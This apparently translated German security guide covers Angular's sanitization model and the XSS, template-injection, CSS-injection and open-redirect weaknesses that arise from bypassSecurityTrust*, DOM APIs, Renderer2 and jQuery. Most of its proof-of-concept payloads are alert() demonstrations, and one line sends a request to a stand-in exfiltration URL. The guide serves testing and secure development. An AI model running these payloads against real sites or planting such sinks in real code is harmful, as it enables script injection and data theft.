Angular
Reading time: 19 minutes
Die Checkliste
Checkliste von hier.
- Angular wird als clientseitiges Framework betrachtet und soll keinen serverseitigen Schutz bieten
- Sourcemap fĂŒr Skripte ist in der Projektkonfiguration deaktiviert
- Untrusted Benutzerinput wird immer interpoliert oder bereinigt, bevor er in Vorlagen verwendet wird
- Der Benutzer hat keine Kontrolle ĂŒber serverseitige oder clientseitige Vorlagen
- Untrusted Benutzerinput wird mit einem geeigneten Sicherheitskontext bereinigt, bevor er von der Anwendung vertraut wird
-
BypassSecurity*
-Methoden werden nicht mit untrusted Eingaben verwendet -
Untrusted Benutzerinput wird nicht an Angular-Klassen wie
ElementRef
,Renderer2
undDocument
oder andere JQuery/DOM-Senken ĂŒbergeben
Was ist Angular
Angular ist ein leistungsstarkes und Open-Source-Frontend-Framework, das von Google gepflegt wird. Es verwendet TypeScript, um die Lesbarkeit und das Debugging des Codes zu verbessern. Mit starken Sicherheitsmechanismen verhindert Angular hĂ€ufige clientseitige Schwachstellen wie XSS und offene Weiterleitungen. Es kann auch auf der Server-Seite verwendet werden, was SicherheitsĂŒberlegungen aus beiden Perspektiven wichtig macht.
Framework-Architektur
Um die Grundlagen von Angular besser zu verstehen, lassen Sie uns seine wesentlichen Konzepte durchgehen.
Ein typisches Angular-Projekt sieht normalerweise so aus:
my-workspace/
âââ ... #workspace-wide configuration files
âââ src
â âââ app
â â âââ app.module.ts #defines the root module, that tells Angular how to assemble the application
â â âââ app.component.ts #defines the logic for the application's root component
â â âââ app.component.html #defines the HTML template associated with the root component
â â âââ app.component.css #defines the base CSS stylesheet for the root component
â â âââ app.component.spec.ts #defines a unit test for the root component
â â âââ app-routing.module.ts #provides routing capability for the application
â âââ lib
â â âââ src #library-specific configuration files
â âââ index.html #main HTML page, where the component will be rendered in
â âââ ... #application-specific configuration files
âââ angular.json #provides workspace-wide and project-specific configuration defaults
âââ tsconfig.json #provides the base TypeScript configuration for projects in the workspace
Laut der Dokumentation hat jede Angular-Anwendung mindestens eine Komponente, die Wurzelkomponente (AppComponent
), die eine Komponentenhierarchie mit dem DOM verbindet. Jede Komponente definiert eine Klasse, die Anwendungsdaten und -logik enthĂ€lt und mit einer HTML-Vorlage verknĂŒpft ist, die eine Ansicht darstellt, die in einer Zielumgebung angezeigt werden soll. Der @Component()
-Dekorator identifiziert die direkt darunter liegende Klasse als Komponente und stellt die Vorlage sowie die zugehörigen komponentenspezifischen Metadaten bereit. Die AppComponent
ist in der Datei app.component.ts
definiert.
Angular NgModules erklĂ€ren einen Kompilierungskontext fĂŒr eine Gruppe von Komponenten, die einem Anwendungsbereich, einem Workflow oder einer eng verwandten Gruppe von Funktionen gewidmet sind. Jede Angular-Anwendung hat ein Wurzelmodul, das konventionell AppModule
genannt wird und den Bootstrap-Mechanismus bereitstellt, der die Anwendung startet. Eine Anwendung enthÀlt typischerweise viele funktionale Module. Das AppModule
ist in der Datei app.module.ts
definiert.
Das Angular Router
NgModule bietet einen Dienst, der es Ihnen ermöglicht, einen Navigationspfad zwischen den verschiedenen AnwendungszustÀnden und Ansichtshierarchien in Ihrer Anwendung zu definieren. Das RouterModule
ist in der Datei app-routing.module.ts
definiert.
FĂŒr Daten oder Logik, die nicht mit einer bestimmten Ansicht verknĂŒpft sind und die Sie ĂŒber Komponenten hinweg teilen möchten, erstellen Sie eine Dienstklasse. Eine Dienstklassendefinition wird unmittelbar von dem @Injectable()
-Dekorator vorausgegangen. Der Dekorator stellt die Metadaten bereit, die es anderen Anbietern ermöglichen, als AbhÀngigkeiten in Ihre Klasse injiziert zu werden. Die AbhÀngigkeitsinjektion (DI) ermöglicht es Ihnen, Ihre Komponentenklassen schlank und effizient zu halten. Sie holen keine Daten vom Server, validieren keine Benutzereingaben oder protokollieren nicht direkt in die Konsole; sie delegieren solche Aufgaben an Dienste.
Sourcemap-Konfiguration
Das Angular-Framework ĂŒbersetzt TypeScript-Dateien in JavaScript-Code, indem es die Optionen in tsconfig.json
befolgt, und erstellt dann ein Projekt mit der Konfiguration in angular.json
. Wenn wir die Datei angular.json
betrachten, haben wir eine Option beobachtet, um eine Sourcemap zu aktivieren oder zu deaktivieren. Laut der Angular-Dokumentation hat die Standardkonfiguration eine Sourcemap-Datei fĂŒr Skripte aktiviert und ist standardmĂ€Ăig nicht verborgen:
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien ihren ursprĂŒnglichen Dateien zuordnen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstĂŒtzt die Dateianalyse, indem der ursprĂŒngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein PrĂŒfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht.
DarĂŒber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers â Quellen (oder Debugger und Quellen) â [id].main.js gefunden werden. AbhĂ€ngig von den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten //# sourceMappingURL=[id].main.js.map
oder sie kann es nicht, wenn die hidden-Option auf true gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap fĂŒr Skripte deaktiviert ist, und wir können die Datei nicht erhalten. DarĂŒber hinaus kann die Sourcemap wĂ€hrend des Projektbaus aktiviert werden, wie ng build --source-map
.
Datenbindung
Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente und ihrer entsprechenden Ansicht. Es wird verwendet, um Daten an das Angular-Framework zu ĂŒbertragen und von diesem zu empfangen. Daten können auf verschiedene Weise ĂŒbergeben werden, z. B. ĂŒber Ereignisse, Interpolation, Eigenschaften oder ĂŒber den Mechanismus der bidirektionalen Bindung. DarĂŒber hinaus können Daten auch zwischen verwandten Komponenten (Eltern-Kind-Beziehung) und zwischen zwei nicht verwandten Komponenten mithilfe der Service-Funktion geteilt werden.
Wir können Binding nach Datenfluss klassifizieren:
- Datenquelle zu Zielansicht (einschlieĂlich Interpolation, Eigenschaften, Attribute, Klassen und Stile); kann durch die Verwendung von
[]
oder{{}}
im Template angewendet werden; - Zielansicht zu Datenquelle (einschlieĂlich Ereignisse); kann durch die Verwendung von
()
im Template angewendet werden; - Zwei-Wege; kann durch die Verwendung von
[()]
im Template angewendet werden.
Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quellrichtlinie angewendet werden:
TYP | ZIEL | BEISPIELE |
---|---|---|
Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiveigenschaft | <img [alt]="hero.name" [src]="heroImageUrl"> |
Ereignis | Elementereignis, Komponenteneignis, Direktivereignis | <button type="button" (click)="onSave()">Speichern |
Zwei-Wege | Ereignis und Eigenschaft | <input [(ngModel)]="name"> |
Attribut | Attribut (die Ausnahme) | <button type="button" [attr.aria-label]="help">hilfe |
Klasse | Klassen-Eigenschaft | <div [class.special]="isSpecial">Spezial |
Stil | Stil-Eigenschaft | <button type="button" [style.color]="isSpecial ? 'red' : 'green'"> |
Angular-Sicherheitsmodell
Das Design von Angular umfasst standardmĂ€Ăig die Kodierung oder SanitĂ€rung aller Daten, was es zunehmend schwierig macht, XSS-Schwachstellen in Angular-Projekten zu entdecken und auszunutzen. Es gibt zwei verschiedene Szenarien fĂŒr die Datenverarbeitung:
- Interpolation oder
{{user_input}}
- fĂŒhrt kontextabhĂ€ngige Kodierung durch und interpretiert Benutzereingaben als Text;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
Ergebnis: <script>alert(1)</script><h1>test</h1>
2. Binding an Eigenschaften, Attribute, Klassen und Stile oder [attribute]="user_input"
- fĂŒhrt eine SanitĂ€rung basierend auf dem bereitgestellten Sicherheitskontext durch.
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
Ergebnis: <div><h1>test</h1></div>
Es gibt 6 Typen von SecurityContext
:
None
;HTML
wird verwendet, wenn der Wert als HTML interpretiert wird;STYLE
wird verwendet, wenn CSS in diestyle
-Eigenschaft gebunden wird;URL
wird fĂŒr URL-Eigenschaften verwendet, wie<a href>
;SCRIPT
wird fĂŒr JavaScript-Code verwendet;RESOURCE_URL
als URL, die als Code geladen und ausgefĂŒhrt wird, z. B. in<script src>
.
Schwachstellen
Umgehung der Sicherheitsvertrauensmethoden
Angular fĂŒhrt eine Liste von Methoden ein, um den standardmĂ€Ăigen SanitĂ€rungsprozess zu umgehen und anzuzeigen, dass ein Wert in einem bestimmten Kontext sicher verwendet werden kann, wie in den folgenden fĂŒnf Beispielen:
bypassSecurityTrustUrl
wird verwendet, um anzuzeigen, dass der angegebene Wert eine sichere Stil-URL ist:
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Klicke mich</a>
//Ergebnis
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Klicke mich</a>
bypassSecurityTrustResourceUrl
wird verwendet, um anzuzeigen, dass der angegebene Wert eine sichere Ressourcen-URL ist:
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//Ergebnis
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtml
wird verwendet, um anzuzeigen, dass der angegebene Wert sicheres HTML ist. Beachten Sie, dass das EinfĂŒgen vonscript
-Elementen in den DOM-Baum auf diese Weise nicht dazu fĂŒhrt, dass der enthaltene JavaScript-Code ausgefĂŒhrt wird, aufgrund der Art und Weise, wie diese Elemente zum DOM-Baum hinzugefĂŒgt werden.
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//Ergebnis
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScript
wird verwendet, um anzuzeigen, dass der angegebene Wert sicheres JavaScript ist. Wir haben jedoch festgestellt, dass sein Verhalten unvorhersehbar ist, da wir keinen JS-Code in Vorlagen mit dieser Methode ausfĂŒhren konnten.
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//Ergebnis
-
bypassSecurityTrustStyle
wird verwendet, um anzuzeigen, dass der angegebene Wert sicheres CSS ist. Das folgende Beispiel veranschaulicht CSS-Injection:
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//Ergebnis
Anforderungs-URL: GET example.com/exfil/a
Angular bietet eine sanitize
-Methode, um Daten zu sanitieren, bevor sie in Ansichten angezeigt werden. Diese Methode verwendet den bereitgestellten Sicherheitskontext und reinigt die Eingabe entsprechend. Es ist jedoch entscheidend, den richtigen Sicherheitskontext fĂŒr die spezifischen Daten und den Kontext zu verwenden. Beispielsweise bietet die Anwendung eines Sanitizers mit SecurityContext.URL
auf HTML-Inhalt keinen Schutz gegen gefĂ€hrliche HTML-Werte. In solchen Szenarien könnte der Missbrauch des Sicherheitskontexts zu XSS-Schwachstellen fĂŒhren.
HTML-Injection
Diese Schwachstelle tritt auf, wenn Benutzereingaben an eines der drei Eigenschaften gebunden werden: innerHTML
, outerHTML
oder iframe
srcdoc
. WĂ€hrend das Binden an diese Attribute HTML so interpretiert, wie es ist, wird die Eingabe mit SecurityContext.HTML
sanitisiert. Daher ist HTML-Injection möglich, aber Cross-Site-Scripting (XSS) ist es nicht.
Beispiel fĂŒr die Verwendung von innerHTML
:
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
Template-Injection
Client-Side Rendering (CSR)
Angular nutzt Templates, um Seiten dynamisch zu erstellen. Der Ansatz besteht darin, Template-AusdrĂŒcke fĂŒr Angular zur Auswertung in doppelte geschweifte Klammern ({{}}
) einzuschlieĂen. Auf diese Weise bietet das Framework zusĂ€tzliche FunktionalitĂ€t. Zum Beispiel wĂŒrde ein Template wie {{1+1}}
als 2 angezeigt werden.
Typischerweise entkommt Angular Benutzereingaben, die mit Template-AusdrĂŒcken verwechselt werden können (z. B. Zeichen wie `< > ' " ``). Das bedeutet, dass zusĂ€tzliche Schritte erforderlich sind, um diese EinschrĂ€nkung zu umgehen, wie die Verwendung von Funktionen, die JavaScript-String-Objekte generieren, um die Verwendung von auf der Blacklist stehenden Zeichen zu vermeiden. Um dies zu erreichen, mĂŒssen wir jedoch den Angular-Kontext, seine Eigenschaften und Variablen berĂŒcksichtigen. Daher könnte ein Template-Injection-Angriff wie folgt aussehen:
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
Wie oben gezeigt, bezieht sich constructor
auf den Geltungsbereich der Object constructor
-Eigenschaft, was es uns ermöglicht, den String-Konstruktor aufzurufen und beliebigen Code auszufĂŒhren.
Server-Side Rendering (SSR)
Im Gegensatz zu CSR, das im DOM des Browsers erfolgt, ist Angular Universal fĂŒr SSR von Template-Dateien verantwortlich. Diese Dateien werden dann an den Benutzer geliefert. Trotz dieser Unterscheidung wendet Angular Universal die gleichen Sanitization-Mechanismen an, die auch in CSR verwendet werden, um die Sicherheit von SSR zu verbessern. Eine Template-Injection-Schwachstelle in SSR kann auf die gleiche Weise wie in CSR erkannt werden, da die verwendete Template-Sprache dieselbe ist.
NatĂŒrlich besteht auch die Möglichkeit, neue Template-Injection-Schwachstellen einzufĂŒhren, wenn Drittanbieter-Template-Engines wie Pug und Handlebars verwendet werden.
XSS
DOM-Schnittstellen
Wie bereits erwĂ€hnt, können wir direkt auf das DOM ĂŒber die Document-Schnittstelle zugreifen. Wenn Benutzereingaben nicht vorher validiert werden, kann dies zu Cross-Site-Scripting (XSS)-Schwachstellen fĂŒhren.
Wir haben die Methoden document.write()
und document.createElement()
in den folgenden Beispielen verwendet:
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Angular-Klassen
Es gibt einige Klassen, die verwendet werden können, um mit DOM-Elementen in Angular zu arbeiten: ElementRef
, Renderer2
, Location
und Document
. Eine detaillierte Beschreibung der letzten beiden Klassen ist im Abschnitt Open redirects zu finden. Der Hauptunterschied zwischen den ersten beiden besteht darin, dass die Renderer2
-API eine Abstraktionsschicht zwischen dem DOM-Element und dem Komponenten-Code bereitstellt, wÀhrend ElementRef
lediglich eine Referenz auf das Element hÀlt. Daher sollte laut Angular-Dokumentation die ElementRef
-API nur als letztes Mittel verwendet werden, wenn direkter Zugriff auf das DOM erforderlich ist.
ElementRef
enthÀlt die EigenschaftnativeElement
, die verwendet werden kann, um die DOM-Elemente zu manipulieren. Eine unsachgemĂ€Ăe Verwendung vonnativeElement
kann zu einer XSS-InjektionsanfĂ€lligkeit fĂŒhren, wie unten gezeigt:
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
- Trotz der Tatsache, dass
Renderer2
eine API bereitstellt, die sicher verwendet werden kann, selbst wenn direkter Zugriff auf native Elemente nicht unterstĂŒtzt wird, hat es dennoch einige SicherheitsmĂ€ngel. MitRenderer2
ist es möglich, Attribute eines HTML-Elements mit der MethodesetAttribute()
festzulegen, die keine XSS-PrÀventionsmechanismen hat.
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- Um die Eigenschaft eines DOM-Elements festzulegen, können Sie die Methode
Renderer2.setProperty()
verwenden und einen XSS-Angriff auslösen:
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
WĂ€hrend unserer Forschung haben wir auch das Verhalten anderer Renderer2
-Methoden wie setStyle()
, createComment()
und setValue()
in Bezug auf XSS- und CSS-Injektionen untersucht. Wir konnten jedoch keine gĂŒltigen Angriffsvektoren fĂŒr diese Methoden aufgrund ihrer funktionalen EinschrĂ€nkungen finden.
jQuery
jQuery ist eine schnelle, kleine und funktionsreiche JavaScript-Bibliothek, die im Angular-Projekt verwendet werden kann, um bei der Manipulation der HTML-DOM-Objekte zu helfen. Wie bekannt ist, können die Methoden dieser Bibliothek ausgenutzt werden, um eine XSS-AnfĂ€lligkeit zu erreichen. Um zu diskutieren, wie einige anfĂ€llige jQuery-Methoden in Angular-Projekten ausgenutzt werden können, haben wir diesen Unterabschnitt hinzugefĂŒgt.
- Die Methode
html()
erhĂ€lt den HTML-Inhalt des ersten Elements in der Menge der ĂŒbereinstimmenden Elemente oder setzt den HTML-Inhalt jedes ĂŒbereinstimmenden Elements. Allerdings kann jede jQuery-Konstruktor- oder Methode, die einen HTML-String akzeptiert, potenziell Code ausfĂŒhren. Dies kann durch die Injektion von<script>
-Tags oder die Verwendung von HTML-Attributen, die Code ausfĂŒhren, wie im Beispiel gezeigt, geschehen.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
- Die Methode
jQuery.parseHTML()
verwendet native Methoden, um den String in eine Menge von DOM-Knoten zu konvertieren, die dann in das Dokument eingefĂŒgt werden können.
jQuery.parseHTML(data [, context ] [, keepScripts ])
Wie bereits erwĂ€hnt, fĂŒhren die meisten jQuery-APIs, die HTML-Strings akzeptieren, Skripte aus, die im HTML enthalten sind. Die Methode jQuery.parseHTML()
fĂŒhrt keine Skripte im geparsten HTML aus, es sei denn, keepScripts
ist ausdrĂŒcklich true
. Es ist jedoch in den meisten Umgebungen immer noch möglich, Skripte indirekt auszufĂŒhren; zum Beispiel ĂŒber das Attribut <img onerror>
.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
Open redirects
DOM-Schnittstellen
Laut der W3C-Dokumentation werden die Objekte window.location
und document.location
in modernen Browsern als Aliase behandelt. Deshalb haben sie eine Àhnliche Implementierung einiger Methoden und Eigenschaften, was zu einem offenen Redirect und DOM-XSS mit javascript://
-Schemaangriffen fĂŒhren kann, wie unten erwĂ€hnt.
window.location.href
(unddocument.location.href
)
Der kanonische Weg, um das aktuelle DOM-Standortobjekt zu erhalten, ist die Verwendung von window.location
. Es kann auch verwendet werden, um den Browser auf eine neue Seite umzuleiten. Daher ermöglicht die Kontrolle ĂŒber dieses Objekt, eine offene Redirect-AnfĂ€lligkeit auszunutzen.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
Der Ausnutzungsprozess ist identisch fĂŒr die folgenden Szenarien.
window.location.assign()
(unddocument.location.assign()
)
Diese Methode bewirkt, dass das Fenster das Dokument an der angegebenen URL lĂ€dt und anzeigt. Wenn wir Kontrolle ĂŒber diese Methode haben, könnte sie ein Ziel fĂŒr einen offenen Redirect-Angriff sein.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
window.location.replace()
(unddocument.location.replace()
)
Diese Methode ersetzt die aktuelle Ressource durch die an der angegebenen URL.
Der Unterschied zur Methode assign()
besteht darin, dass nach der Verwendung von window.location.replace()
die aktuelle Seite nicht im Sitzungsverlauf gespeichert wird. Es ist jedoch auch möglich, eine offene Redirect-AnfĂ€lligkeit auszunutzen, wenn wir Kontrolle ĂŒber diese Methode haben.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
window.open()
Die Methode window.open()
nimmt eine URL und lĂ€dt die Ressource, die sie identifiziert, in einen neuen oder bestehenden Tab oder ein neues Fenster. Die Kontrolle ĂŒber diese Methode könnte ebenfalls eine Gelegenheit sein, eine XSS- oder offene Redirect-AnfĂ€lligkeit auszulösen.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
Angular-Klassen
- Laut Angular-Dokumentation ist Angular
Document
dasselbe wie das DOM-Dokument, was bedeutet, dass es möglich ist, gĂ€ngige Vektoren fĂŒr das DOM-Dokument zu verwenden, um clientseitige AnfĂ€lligkeiten in Angular auszunutzen. Die Eigenschaften und Methoden vonDocument.location
könnten Ziele fĂŒr erfolgreiche offene Redirect-Angriffe sein, wie im Beispiel gezeigt:
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
- WĂ€hrend der Forschungsphase haben wir auch die Angular
Location
-Klasse auf offene Redirect-AnfĂ€lligkeiten ĂŒberprĂŒft, aber es wurden keine gĂŒltigen Vektoren gefunden.Location
ist ein Angular-Dienst, den Anwendungen verwenden können, um mit der aktuellen URL des Browsers zu interagieren. Dieser Dienst hat mehrere Methoden, um die gegebene URL zu manipulieren -go()
,replaceState()
undprepareExternalUrl()
. Wir können sie jedoch nicht fĂŒr die Umleitung zu einer externen Domain verwenden. Zum Beispiel:
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
Ergebnis: http://localhost:4200/http://google.com/about
- Die Angular
Router
-Klasse wird hauptsĂ€chlich fĂŒr die Navigation innerhalb derselben Domain verwendet und fĂŒhrt nicht zu zusĂ€tzlichen AnfĂ€lligkeiten in der Anwendung:
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
Ergebnis: http://localhost:4200/https:
Die folgenden Methoden navigieren ebenfalls innerhalb des Bereichs der Domain:
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
Referenzen
- Angular
- Angular Security: The Definitive Guide (Part 1)
- Angular Security: The Definitive Guide (Part 2)
- Angular Security: The Definitive Guide (Part 3)
- Angular Security: Checklist
- Workspace and project file structure
- Introduction to components and templates
- Source map configuration
- Binding syntax
- Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
- Sanitization and security contexts
- GitHub - angular/dom_security_schema.ts
- XSS in Angular and AngularJS
- Angular Universal
- DOM XSS
- Angular ElementRef
- Angular Renderer2
- Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
- jQuery API Documentation
- How To Use jQuery With Angular (When You Absolutely Have To)
- Angular Document
- Angular Location
- Angular Router